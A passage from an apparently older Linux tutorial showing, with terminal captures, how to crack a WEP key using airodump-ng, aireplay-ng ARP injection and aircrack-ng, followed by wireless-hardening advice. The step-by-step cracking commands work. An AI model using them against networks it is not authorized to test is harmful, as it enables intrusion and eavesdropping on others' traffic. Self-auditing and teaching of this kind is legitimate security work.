

```
CH 3 ][ Elapsed: 4 s ][ 2008-12-15 22:57
BSSID PWR Beacons #Data, #Ss CH MB ENC CIPHER AUTH ESSID
00:0F:A3:4C:F9:3D 23 26 15 7 6 54 WEP WEP MTB41
BSSID STATION PWR Rate Lost Packets Probes
00:0F:A3:4C:F9:3D 00:1F:3C:63:E9:04 223 54-54 0 15
```

Figure 3: Scanning the wireless access points/capturing packets

```
# -s aireplay-ng -3 -b 00:0F:A3:4C:F9:3D -h 00:1F:3C:63:E9:04 eth1
The interface MAC (00:16:0F:3F:06:70) doesn't match the specified MAC (-b).
ifconfig eth1 hw ether 00:1F:3C:63:E9:04
23:03:00 Waiting for beacon frame (BSSID: 00:0F:A3:4C:F9:3D) on channel 6
Saving ARP requests in replay_arp-1215-230300.cap
You should also start airodump-ng to capture replies.
Read 357 packets (got 0 ARP requests and 44 ACKs), sent 0 packets... (0 pps)
```

Figure 4: Injection of traffic onto the network using aireplay

```
bt ~$ aircrack-ng -z mycapture-01.cap
Opening mycapture-01.cap
Read 91704 packets.

# BSSID ESSID Encryption
1 00:0F:A3:4C:F9:3D MTB41 WEP (47911 IVs)

Choosing first network as target.

Opening mycapture-01.cap
Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 47937 ivs.

KEY FOUND! [ CD:12:3A:B4:56 ]
Decrypted correctly: 100%
```

Figure 5: Your WEP key is cracked, Boss!

```
airodump-ng -c X -w mycapture eth1
```

Replace the X with the channel number of your access point (6, in my case). This will start capturing the data that you will use to crack the WEP key, in a file called *mycapture-01.cap* in your home directory. You will see packets being gathered by the tool. Make sure you get at least 40,000 packets, good enough for more than 50 per cent of the cases. In case of a very strong password, go for 100,000 packets or so, making the efficiency (chance of cracking the key) close to 99 per cent.

Now we need to inject some traffic on the network. We can do so using the *aireplay* tool as follows. Note the MAC address of the base station and the client from the *Airodump* window. Now open a new root terminal and issue the following command:

```
aireplay-ng -3 -b 'base station MAC address' -h 'client Mac address' eth1
```

The -3 tells *aireplay* to search for ARP (Address Resolution Protocol) requests and replay them. Once the request is received, the injection of packets will begin. *Airodump* will start collection packets in *mycapture-01.cap* file (see Figure 4).

The work is most done at this point. All you have to do now is issue the following command in the third terminal window, and you will get the password 95 per cent of the times (depending on the number of packets you have collected. If it fails, retry with more number of packages).

```
aircrack-ng -z mycapture-01.cap
```

In a couple of minutes, you will see the network key as shown (Figure 5). The key in this case is 'CD123AB456'—a hex-64bit WEP key.

## How to secure your network

As can be seen from the example above, sniffing wireless networks with a WEP key (or no encryption) is fairly easy. The protocols *telnet*, *pop3*, *imap*, *ftp*, *snmp*, and *mtp* are more susceptible to cracking as they transfer the passwords in plain text while authenticating. Once a cracker gets hold of your key, he can sniff all the data to and from your network. Even if you use secure protocols, only the password and username are encrypted and not the actual data.

You can make your networks less vulnerable to sniffers and play sniffing to your advantage. As already said, a network administrator *must* try and sniff his own network to check its immunity to such attacks. It can be used to strengthen the network and debug it whenever necessary. To make the attacks less damaging, the only sane remedy is to use strong encryption. Again, some protocols do not support password encryption, so you must always sniff your own network to see if any password and/or other sensitive information is left unencrypted. Of course, you should use more secure keys such as WPA or WPA2 for your networks.

One more thing to take care of is changing the default password of your WAP. Most routers come with default username/password combinations like admin/admin or admin/password. Change it and use a strong password. You can turn off the SSID broadcasts of your WAP. Broadcasting SSID makes setting up wireless clients extremely convenient since you can locate a network, without having to know what it's called, but it will also make your network visible to any wireless systems within range of it (as shown in the demo above, we are using the SSID of the station (BSSID)).

You can enable MAC address filtering so only the devices with allowed MAC addresses can access your WAP. (Remember, the MAC address is unique for a device, just like a fingerprint.) Even MAC addresses can be spoofed once known, but this is still better than using no filtering at all.

## Where do we stand?

There are many sniffing tools available on Linux, UNIX and the Windows platforms. Most of these can be used to sniff packages and then try and crack the passwords of the networks. The only way to avoid damage is to use preventive controls. Follow the steps given above to secure your network. Do not fear sniffing tools. Use them to your advantage and try cracking your own network to see how secure you are... 

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